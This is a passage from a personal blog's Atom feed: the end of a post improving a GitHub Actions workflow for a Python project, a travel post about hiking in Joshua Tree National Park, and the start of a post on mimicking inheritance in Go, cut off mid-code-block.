</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Test with pytest
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        pytest</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>My improvements are marked with <code># Improvement:</code> comments</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                YAML
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">67
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-YAML" data-lang="YAML"><span style="display:flex;"><span><span style="color:#268bd2">name</span>: Python application
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">on</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">push</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">branches</span>: [ <span style="color:#2aa198">&#34;master&#34;</span>, <span style="color:#2aa198">&#34;main&#34;</span> ]
</span></span><span style="display:flex;"><span>    <span style="color:#586e75"># Improvement #1: Filter on files that should trigger this workflow</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">paths</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;requirements.txt&#39;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;**.py&#39;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#586e75"># Assume that this is the path of this file in the repo</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;.github/workflows/python-app.yml&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">pull_request</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">branches</span>: [ <span style="color:#2aa198">&#34;master&#34;</span>, <span style="color:#2aa198">&#34;main&#34;</span> ]
</span></span><span style="display:flex;"><span>    <span style="color:#586e75"># Improvement #1: Filter on files that should trigger this workflow</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">paths</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;requirements.txt&#39;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;**.py&#39;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#586e75"># Assume that this is the path of this file in the repo</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#2aa198">&#39;.github/workflows/python-app.yml&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">permissions</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">contents</span>: read
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Improvement #2: Cancel existing executions when new commits are pushed onto the branch</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">concurrency</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">group</span>: ${{ github.workflow }}-${{ github.ref }}
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">cancel-in-progress</span>: <span style="color:#cb4b16">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">jobs</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># Improvement #3: Rename the job name, this makes it easier to run locally</span>
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># with a tool like https://github.com/nektos/act</span>
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">buildPythonApp</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">runs-on</span>: ubuntu-latest
</span></span><span style="display:flex;"><span>    <span style="color:#586e75"># Improvement #4: Add a timeout of 15 mins</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">timeout-minutes</span>: <span style="color:#2aa198">15</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">steps</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">uses</span>: actions/checkout@v3
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Set up Python 3.10
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">uses</span>: actions/setup-python@v3
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">with</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">python-version</span>: <span style="color:#2aa198">&#34;3.10&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75"># Improvement #5: Cache Python dependencies using the hash of &#34;requirements.txt&#34; as the key</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75"># This step must be executed before &#34;pip install&#34;</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">uses</span>: actions/cache@v3
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">with</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">path</span>: ~/.cache/pip
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">key</span>: ${{ runner.os }}-pip-${{ hashFiles(&#39;**/requirements.txt&#39;) }}
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">restore-keys</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">          ${{ runner.os }}-pip-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Install dependencies
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        python -m pip install --upgrade pip
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        pip install flake8 pytest
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        if [ -f requirements.txt ]; then pip install -r requirements.txt; fi</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Lint with flake8
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        # stop the build if there are Python syntax errors or undefined names
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics</span>
</span></span><span style="display:flex;"><span>    - <span style="color:#268bd2">name</span>: Test with pytest
</span></span><span style="display:flex;"><span>      <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">        pytest</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="update">Update</h2>
<ol>
<li>This post was featured in   
    
    
<a href="https://www.pointer.io/archives/634fdbe4a9/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pointer</a>,
  
    
    
<a href="https://pythonhub.dev/digest/2023-04-16/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">PythonHub</a>,
  
    
    
<a href="https://www.pythonweekly.com/p/python-weekly-issue-595-april-6-2023?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Python Weekly</a>,
and   
    
    
<a href="https://newsletter.researchcomputingteams.org/archive/rct-162-measure-what-matters-part-i-kirkpatrick/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Research Computing</a>.
After getting a lot of positive feedback.
I have open-sourced a project   
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gabo</a> to automate this.
Feel free to try it out.</li>
<li>If you like this post, you might also like how I use

<a href="/programming/dotfiles-ci/">GitHub Actions to validate my dotfiles</a> and how to do

<a href="/programming/end-to-end-testing-mobile-apps/">CI of mobile app</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">A day at Joshua Tree National Park</title><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Glacier National Park in 4 days"/><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in Lassen Volcanic National Park, California"/><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Two days at Zion National Park"/><id>https://ashishb.net/travel/joshua-tree-national-park/</id><author><name>Ashish Bhatia</name></author><published>2023-03-11T17:00:12+00:00</published><updated>2023-03-11T17:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Joshua Tree National Park with a scenic hike, stunning views, and desert flora. Discover trails like Lost Oasis and unique spots like Cholla Cactus Garden.</blockquote><p>Joshua Tree National Park, about a three-hour drive from the city of Los Angeles, is home to Joshua Trees. If you have a day to spend, I would recommend a hike followed by the viewpoints.</p>
<figure>
    
    <a href="joshua_tree-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="joshua_tree-768x1024.jpg"
         alt="A scenic photograph of a Joshua Tree in the desert at sunset with mountains in the background, emphasizing the iconic silhouette of the tree against a vibrant sky." width="900"/> </a>
</figure>

<h4 id="we-started-from-the-south-entrance-and-went-northwards-heres-what-we-did">We started from the south entrance and went northwards, here&rsquo;s what we did</h4>
<ol>
<li>
<p>  
    
    
<a href="https://www.hikespeak.com/trails/lost-palms-oasis-in-joshua-tree/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lost Oasis Trail</a> - An easy ~7.5 miles 3-hour hike close to the south entrance and you see a dead Oasis at the end</p>
<figure>
       
       <a href="lost_oasis_trail-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="lost_oasis_trail-768x1024.jpg"
            alt="A 7.5-mile, 3-hour hiking trail near the south entrance leads to a dead oasis, featuring a stop at Porcupine Wash." width="900"/> </a>
   </figure>

</li>
<li>
<p>Porcupine Wash - A small stop along the way</p>
<figure>
       
       <a href="porcupine_patch-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="porcupine_patch-1024x768.jpg"
            alt="desert landscape with diverse flora, including porcupine wash, ocotillo patch featuring red flowers, and a cholla cactus garden." width="900"/> </a>
   </figure>

</li>
<li>
<p>Ocotillo Patch - Ocotillo is a desert plant with red-colored flowers</p>
</li>
<li>
<p>Cholla Cactus Garden - A small passage to walk around in the midst of Cactus</p>
<figure>
       
       <a href="cholla_cactus_garden-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="cholla_cactus_garden-1024x768.jpg"
            alt="A path winds through a Cholla Cactus Garden, surrounded by diverse cacti in a desert setting, offering a small passage for visitors to walk amid the foliage." width="900"/> </a>
   </figure>

</li>
<li>
<p>White Tank - You can do some nice scrambling here</p>
<figure>
       
       <a href="white_tank-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="white_tank-1024x768.jpg"
            alt="An arid landscape features a cactus garden with multiple types of cacti. The setting includes rock formations suitable for scrambling activities. &#39;White Tank&#39; and &#39;Twin Tanks&#39; are mentioned as locations." width="900"/> </a>
   </figure>

</li>
<li>
<p>Twin Tanks - very similar to White tank and is reachable only via a dirt road. Feel free to skip.</p>
</li>
<li>
<p>Cap Rock - Isn&rsquo;t something majestic but looks beautiful at night</p>
<figure>
       
       <a href="cap_rock-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="cap_rock-1024x768.jpg"
            alt="A rock formation known as Cap Rock situated in a desert environment, appearing strikingly under moonlight." width="900"/> </a>
   </figure>

</li>
</ol>
<h4 id="what-we-skipped">What we skipped</h4>
<ol>
<li>  
    
    
<a href="https://www.alltrails.com/trail/us/california/hall-of-horrors?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hall of Horrors</a> - This is gorgeous, but it was already dark. I would highly recommend prioritizing this.</li>
<li>Barker Dam - The view isn&rsquo;t very different from the Lost Oasis Trail, so, feel free to skip.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/national-park" term="national-park" label="national-park"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Inheritance in Go language</title><link href="https://ashishb.net/programming/inheritance-in-go-language/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/generics-in-go/?utm_source=atom_feed" rel="related" type="text/html" title="Generics in Go"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><id>https://ashishb.net/programming/inheritance-in-go-language/</id><author><name>Ashish Bhatia</name></author><published>2023-03-04T17:00:39+00:00</published><updated>2023-03-04T17:00:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how to mimic inheritance in Go using structs and interfaces, including practical code examples for Rectangle and Square structures. Explore Go&rsquo;s unique approach!</blockquote><p>Go language does not have the concept of a class directly. It, however, has a concept of an <code>interface</code> as well as a <code>struct</code>. I&rsquo;ll illustrate how this can be used to build most of the inheritance constructs that a language like Java or C++ offers.</p>
<h3 id="inheritance">Inheritance</h3>
<p>I&rsquo;ll use the cliché example of a <code>Rectangle</code> class and a <code>Square</code> class that inherits from it.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
